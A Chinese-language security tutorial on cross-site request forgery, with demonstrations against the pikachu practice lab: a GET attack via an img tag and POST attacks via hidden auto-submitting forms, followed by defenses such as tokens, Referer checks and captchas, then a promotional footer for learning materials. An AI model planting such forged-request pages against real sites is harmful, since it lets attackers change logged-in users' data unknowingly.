CSRF漏洞原理、攻击及防御
什么是CSRF
CSRF (Cross-site request forgery),中文名称跨站请求伪造。利用CSRF,攻击者可以盗用你的身份,以你的名义发送恶意请求。 随时可能被攻击者利用,窃取用户权限、篡改数据甚至造成财产损失。
CSRF攻击原理

1、正常用户登录A网站,A网站会给用户发身份验证信息(如cookie),但是用户访问完A网站后没有退出,所以身份验证信息还会在浏览器的缓存中;
2、hack可以在B网站中,写入请求伪造代码,在用户访问到B网站时,向A网站发起恶意请求;
3、用户访问B网站,触发恶意代码的执行,向A网站发恶意请求;
4、因为用户已经有A网站的身份验证信息了,所以不用再次登录,可以直接发送请求恶意请求,从而实现权限修改、篡改数据、购买商品和转账等等;
简单来说:用户登录了A网站,A网站给用户返回了身份验证信息,然后用户没有退出就去访问了B网站,并触发了请求伪造代码,用户向A网站发送了恶意请求。
CSRF攻击必须同时满足两个条件:
- 登录受信任网站A,并在本地生成身份验证信息。
- 在不登出A的情况下,访问写入恶意请求代码的网站B。
CSRF的类型及演示
GET型CSRF
就是通过GET请求来发送恶意请求的CSRF,下面用pikachu靶场来演示一下
我们通过账号密码:vince:123456登录进去,可以看到修改个人信息的位置

点击进去,我们先修改一下手机号码,看一下网络请求

可以看到是通过GET发送修改电话请求,我们修改一下URL的参数值
/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111&add=chain&email=vince%40pikachu.com&submit=submit
将下面代码提交到靶场XSS中来模拟hack写入网站B的请求伪造代码
<img src="http://127.0.0.1:81/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111&add=chain&email=vince%40pikachu.com&submit=submit">

提交后,刷新页面,看一下请求记录

回到CSRF页面,看一下信息有没有被修改

成功修改
POST型CSRF
和GET型不一样的点,就是数据是在请求体中,直接开始演示吧

可以看到是通过POST发送修改电话请求,我们修改一下请求体中参数值
sex=boy&phonenum=222&add=chain&email=vince%40pikachu.com&submit=submit
将下面代码提交到靶场XSS中来模拟hack写入网站B的请求伪造代码
<form id=f action=http://127.0.0.1:81 method=post>
<input type=hidden name=sex value=boy>
<input type=hidden name=phonenum value=222>
<input type=hidden name=add value=chain>
<input type=hidden name=email value=vince@pikachu.com>
<input type=hidden name=submit value=submit>
</form>
<script>f.submit()</script>

提交后,刷新页面,看一下请求记录

这里长度超过了,我就不用这个靶场了,我写了一个页面来演示,复现记得改一下url
<!doctype html>
<iframe name="hiddenFrame" style="display:none"></iframe>
<form id="f"
action="http://127.0.0.1:81/vul/csrf/csrfpost/csrf_post_edit.php"
method="post"
target="hiddenFrame">
<input type="hidden" name="sex" value="boy">
<input type="hidden" name="phonenum" value="222">
<input type="hidden" name="add" value="chain">
<input type="hidden" name="email" value="vince@pikachu.com">
<input type="hidden" name="submit" value="submit">
</form>
<script>
HTMLFormElement.prototype.submit.call(document.getElementById("f"));
</script>
我们访问一下这个页面,看一下请求

发送成功,看一下电话号码有没有改

成功修改
CSRF防御
- 使用验证码:用户每次提交数据时都需要在表单中填写验证码,验证码要随机生成,通常情况下,验证码就已经可以很好的阻止CSRF攻击了,但并不是万能的,如验证码生成逻辑被破解,所以目前验证码只能是防御CSRF的一种辅助手段,不是主要解决方案。
- 使用referer:在请求头中添加一个Referer,判断请求的来源地址是否在白名单中,如果是,则可以认为该请求是合法的,否则就拒绝用户请求。
- 使用Token:可以在请求中添加一个参数,加入一个随机产生的Token,并在服务端进行token校验,如果请求中没有Token或者Token内容不正确,则认为是CSRF攻击而拒绝该请求。这也是防御CSRF攻击的主要手段。这里要注意,Token要通过HTTPS来传输,避免窃取;每一个Token在一个时间段中,只能对应一个用户,不能多用户同一时间共用一个Token;Token要设置过期时间,过期后重新生成,降低 Token 被复用的风险;
总结
CSRF 就是攻击者利用浏览器自动携带 Cookie 的机制,让已登录用户在不知情的情况下替攻击者完成操作。
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

1319



被折叠的 条评论
为什么被折叠?



